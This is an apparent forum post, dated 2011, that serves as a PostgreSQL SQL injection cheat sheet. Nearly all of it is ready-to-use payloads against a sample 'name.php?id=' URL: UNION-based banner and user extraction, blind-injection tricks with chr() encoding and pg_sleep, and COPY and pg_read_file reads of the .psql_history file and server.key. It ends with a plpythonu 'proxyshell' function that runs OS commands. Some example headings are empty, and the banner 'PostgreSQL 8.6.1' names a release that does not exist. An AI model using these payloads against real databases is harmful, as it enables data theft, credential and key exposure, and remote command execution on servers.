Identifing PostgreSQL
When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine
that the backend database engine is PostgreSQL by using the
:: - cast operator
Examples:
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.
Example:
كود:
http://www.is3curity.com/name.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1-
-
PostgreSQL 8.6.1 on i486-Linux bt , compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Blind Injection
For blind SQL injection attacks, you should take into consideration the following built-in functions:
- String Length : LENGTH(str)
- Extract a substring from a given string: SUBSTR(str,index,offset)
-String representation with no single quotes :
CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Starting from 8.2 PostgreSQL has introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds.
In previous version, you can easily create a custom pg_sleep(n) by using libc:
CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT Single Quote unescape
Strings can be encoded, to prevent single quotes escaping, by using chr() function.
* chr(n): Returns the character whose ASCII value corresponds to the number n
* ascii(n): Returns the ASCII value which corresponds to the character n
Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116
We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)
Example:
Attack Vectors
Current User
The identity of the current user can be retrieved with the following SQL SELECT statements:
SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()
Examples:
Current Database
The built-in function current_database() returns the current database name.
Example:
Reading from a file:
ProstgreSQL provides two ways to access a local file:
• COPY statement
• pg_read_file() internal function (starting from PostgreSQL 8.1)
COPY:
name.php?id=1; CREATE TABLE file_store(id serial, data text)--
name.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
Data should be retrieved by performing a UNION Query SQL Injection:
- retrieves number of rows previously added in file_store with COPY statement
- retrieves a row at time with UNION SQL Injection
pg_read_file():
Example:
SELECT pg_read_file('server.key',0,1000);
Writing to a file :
name.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
executing a shell command redirecting its stdout :
SELECT system('uname -a > /tmp/test')
Create a proxy shell function:
name.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
Run an OS Command:
name.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
Copyrigh vbspiders.com
02-01-2011, 05:43 PM
POSTGRESQL Injection
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